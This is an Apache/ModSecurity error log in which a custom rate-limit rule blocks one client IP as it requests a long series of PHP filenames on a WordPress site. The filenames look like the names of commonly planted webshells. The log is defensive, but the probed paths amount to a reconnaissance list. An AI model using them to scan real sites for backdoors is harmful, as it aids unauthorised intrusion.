[Sun Apr 26 05:03:10.687168 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:65345] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mo.php"] [unique_id "ae0sDj3-0A3lxw9OXoDp-wAAAY8"]
[Sun Apr 26 05:03:11.233415 2026] [:error] [pid 31273:tid 31336] [client 20.199.180.228:65376] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ae0sD_hcNJEGrATcuEevWAAAAUE"]
[Sun Apr 26 05:03:11.790543 2026] [:error] [pid 31273:tid 31347] [client 20.199.180.228:65418] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ae0sD_hcNJEGrATcuEevWQAAAUk"]
[Sun Apr 26 05:03:12.410265 2026] [:error] [pid 31273:tid 31341] [client 20.199.180.228:65429] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ae0sEPhcNJEGrATcuEevWgAAAUQ"]
[Sun Apr 26 05:03:12.980046 2026] [:error] [pid 41906:tid 41929] [client 20.199.180.228:65447] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ae0sED3-0A3lxw9OXoDqBwAAAZU"]
[Sun Apr 26 05:03:13.453704 2026] [:error] [pid 8491:tid 8501] [client 20.199.180.228:65453] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "ae0sESq7I7e6CJooQM1-AQAAAMI"]
[Sun Apr 26 05:03:13.966247 2026] [:error] [pid 8385:tid 8432] [client 20.199.180.228:65433] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "ae0sETOy7_J84Wx3-oxS8AAAAEg"]
[Sun Apr 26 05:03:14.508411 2026] [:error] [pid 8491:tid 8523] [client 20.199.180.228:65373] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "ae0sEiq7I7e6CJooQM1-AgAAANc"]
[Sun Apr 26 05:03:15.081645 2026] [:error] [pid 8390:tid 8475] [client 20.199.180.228:65443] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xrm.php"] [unique_id "ae0sE4GPtFK_i9p5yxQDFQAAAJg"]
[Sun Apr 26 05:03:15.659751 2026] [:error] [pid 8390:tid 8467] [client 20.199.180.228:65438] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asudo.php"] [unique_id "ae0sE4GPtFK_i9p5yxQDFwAAAJA"]
[Sun Apr 26 05:03:16.166271 2026] [:error] [pid 8385:tid 8441] [client 20.199.180.228:65367] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asudo.php"] [unique_id "ae0sFDOy7_J84Wx3-oxS8gAAAFE"]
[Sun Apr 26 05:03:16.677917 2026] [:error] [pid 31273:tid 31356] [client 20.199.180.228:65446] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asudo.php"] [unique_id "ae0sFPhcNJEGrATcuEevXgAAAVE"]
[Sun Apr 26 05:03:17.245647 2026] [:error] [pid 8491:tid 8507] [client 20.199.180.228:65425] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-asudo.php"] [unique_id "ae0sFSq7I7e6CJooQM1-BgAAAMg"]
[Sun Apr 26 05:03:17.814360 2026] [:error] [pid 8491:tid 8503] [client 20.199.180.228:65370] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "ae0sFSq7I7e6CJooQM1-CAAAAMQ"]
[Sun Apr 26 05:03:18.432355 2026] [:error] [pid 8491:tid 8508] [client 20.199.180.228:65465] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "ae0sFiq7I7e6CJooQM1-CQAAAMk"]
[Sun Apr 26 05:03:18.989616 2026] [:error] [pid 8383:tid 8414] [client 20.199.180.228:65360] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "ae0sFtFa2S3EsATMdWOydAAAABE"]
[Sun Apr 26 05:03:19.537218 2026] [:error] [pid 31273:tid 31352] [client 20.199.180.228:65385] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wdone1.php"] [unique_id "ae0sF_hcNJEGrATcuEevYAAAAU0"]
[Sun Apr 26 05:03:20.096149 2026] [:error] [pid 8385:tid 8445] [client 20.199.180.228:65354] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file3.php"] [unique_id "ae0sGDOy7_J84Wx3-oxS8wAAAFU"]
[Sun Apr 26 05:03:20.660379 2026] [:error] [pid 31273:tid 31339] [client 20.199.180.228:14532] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file3.php"] [unique_id "ae0sGPhcNJEGrATcuEevYwAAAUM"]
[Sun Apr 26 05:03:21.166818 2026] [:error] [pid 31273:tid 31355] [client 20.199.180.228:65358] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file3.php"] [unique_id "ae0sGfhcNJEGrATcuEevZgAAAVA"]
[Sun Apr 26 05:03:21.700283 2026] [:error] [pid 31273:tid 31354] [client 20.199.180.228:65416] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file3.php"] [unique_id "ae0sGfhcNJEGrATcuEevaAAAAU8"]
[Sun Apr 26 05:03:22.232467 2026] [:error] [pid 31273:tid 31336] [client 20.199.180.228:65444] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "ae0sGvhcNJEGrATcuEevawAAAUE"]
[Sun Apr 26 05:03:22.724937 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:14577] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "ae0sGqJIw2vjkleLIaB6oQAAARI"]
[Sun Apr 26 05:03:23.272865 2026] [:error] [pid 31273:tid 31347] [client 20.199.180.228:65468] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "ae0sG_hcNJEGrATcuEevbAAAAUk"]
[Sun Apr 26 05:03:23.953005 2026] [:error] [pid 10315:tid 10334] [client 20.199.180.228:65349] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/G-In.php"] [unique_id "ae0sG6JIw2vjkleLIaB6ogAAARE"]
[Sun Apr 26 05:03:24.478334 2026] [:error] [pid 41906:tid 41913] [client 20.199.180.228:65419] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "ae0sHD3-0A3lxw9OXoDqDgAAAYU"]
[Sun Apr 26 05:03:25.033756 2026] [:error] [pid 8383:tid 8415] [client 20.199.180.228:65449] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "ae0sHdFa2S3EsATMdWOydQAAABI"]
[Sun Apr 26 05:03:25.542848 2026] [:error] [pid 31273:tid 31361] [client 20.199.180.228:65460] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "ae0sHfhcNJEGrATcuEevdAAAAVY"]
[Sun Apr 26 05:03:26.158334 2026] [:error] [pid 8491:tid 8521] [client 20.199.180.228:65435] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "ae0sHiq7I7e6CJooQM1-DgAAANY"]
[Sun Apr 26 05:03:26.662723 2026] [:error] [pid 41906:tid 41930] [client 20.199.180.228:65371] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ae0sHj3-0A3lxw9OXoDqEQAAAZY"]
[Sun Apr 26 05:03:27.213326 2026] [:error] [pid 10315:tid 10323] [client 20.199.180.228:65375] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ae0sH6JIw2vjkleLIaB6pgAAAQY"]
[Sun Apr 26 05:03:27.769554 2026] [:error] [pid 8383:tid 8409] [client 20.199.180.228:65380] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ae0sH9Fa2S3EsATMdWOydwAAAAw"]
[Sun Apr 26 05:03:28.324580 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:65409] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "ae0sIKJIw2vjkleLIaB6qQAAARQ"]
[Sun Apr 26 05:03:28.863902 2026] [:error] [pid 31273:tid 31351] [client 20.199.180.228:65362] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ae0sIPhcNJEGrATcuEevfAAAAUw"]
[Sun Apr 26 05:03:29.427413 2026] [:error] [pid 41906:tid 41912] [client 20.199.180.228:14543] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ae0sIT3-0A3lxw9OXoDqEwAAAYQ"]
[Sun Apr 26 05:03:29.918967 2026] [:error] [pid 41906:tid 41909] [client 20.199.180.228:65382] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ae0sIT3-0A3lxw9OXoDqFAAAAYE"]
[Sun Apr 26 05:03:30.425178 2026] [:error] [pid 31273:tid 31362] [client 20.199.180.228:65401] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "ae0sIvhcNJEGrATcuEevhwAAAVc"]
[Sun Apr 26 05:03:30.932337 2026] [:error] [pid 41906:tid 41908] [client 20.199.180.228:14529] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelap.php"] [unique_id "ae0sIj3-0A3lxw9OXoDqGAAAAYA"]
[Sun Apr 26 05:03:31.444524 2026] [:error] [pid 8390:tid 8465] [client 20.199.180.228:14560] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelap.php"] [unique_id "ae0sI4GPtFK_i9p5yxQDGAAAAI4"]
[Sun Apr 26 05:03:31.962115 2026] [:error] [pid 10315:tid 10322] [client 20.199.180.228:14555] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelap.php"] [unique_id "ae0sI6JIw2vjkleLIaB6qwAAAQU"]
[Sun Apr 26 05:03:32.612907 2026] [:error] [pid 8383:tid 8418] [client 20.199.180.228:65396] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gelap.php"] [unique_id "ae0sJNFa2S3EsATMdWOyeQAAABU"]
[Sun Apr 26 05:03:33.151344 2026] [:error] [pid 31273:tid 31351] [client 20.199.180.228:65357] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1vx.php"] [unique_id "ae0sJfhcNJEGrATcuEevkAAAAUw"]
[Sun Apr 26 05:03:33.709984 2026] [:error] [pid 41906:tid 41917] [client 20.199.180.228:65383] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1vx.php"] [unique_id "ae0sJT3-0A3lxw9OXoDqGwAAAYk"]
[Sun Apr 26 05:03:34.286346 2026] [:error] [pid 41906:tid 41914] [client 20.199.180.228:65366] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1vx.php"] [unique_id "ae0sJj3-0A3lxw9OXoDqHQAAAYY"]
[Sun Apr 26 05:03:34.795402 2026] [:error] [pid 41906:tid 41932] [client 20.199.180.228:65348] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1vx.php"] [unique_id "ae0sJj3-0A3lxw9OXoDqIAAAAZg"]
[Sun Apr 26 05:03:35.353222 2026] [:error] [pid 31273:tid 31349] [client 20.199.180.228:65430] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ae0sJ_hcNJEGrATcuEevmAAAAUo"]
[Sun Apr 26 05:03:35.884494 2026] [:error] [pid 10315:tid 10333] [client 20.199.180.228:65412] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ae0sJ6JIw2vjkleLIaB6rgAAARA"]
[Sun Apr 26 05:03:36.476128 2026] [:error] [pid 31273:tid 31361] [client 20.199.180.228:65344] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ae0sKPhcNJEGrATcuEevnAAAAVY"]
[Sun Apr 26 05:03:37.032008 2026] [:error] [pid 41906:tid 41912] [client 20.199.180.228:14552] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "ae0sKT3-0A3lxw9OXoDqJwAAAYQ"]
[Sun Apr 26 05:03:37.570063 2026] [:error] [pid 31273:tid 31352] [client 20.199.180.228:65363] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ae0sKfhcNJEGrATcuEevngAAAU0"]
[Sun Apr 26 05:03:38.067100 2026] [:error] [pid 31273:tid 31351] [client 20.199.180.228:65431] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ae0sKvhcNJEGrATcuEevowAAAUw"]
[Sun Apr 26 05:03:38.601078 2026] [:error] [pid 8491:tid 8500] [client 20.199.180.228:65461] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ae0sKiq7I7e6CJooQM1-EwAAAME"]
[Sun Apr 26 05:03:39.081876 2026] [:error] [pid 8385:tid 8435] [client 20.199.180.228:65374] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lv.php"] [unique_id "ae0sKzOy7_J84Wx3-oxS-wAAAEs"]
[Sun Apr 26 05:03:39.647304 2026] [:error] [pid 41906:tid 41919] [client 20.199.180.228:14547] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "ae0sKz3-0A3lxw9OXoDqKgAAAYs"]
[Sun Apr 26 05:03:40.166929 2026] [:error] [pid 10315:tid 10335] [client 20.199.180.228:65454] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "ae0sLKJIw2vjkleLIaB6tAAAARI"]
[Sun Apr 26 05:03:40.708656 2026] [:error] [pid 10315:tid 10334] [client 20.199.180.228:65405] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "ae0sLKJIw2vjkleLIaB6tQAAARE"]
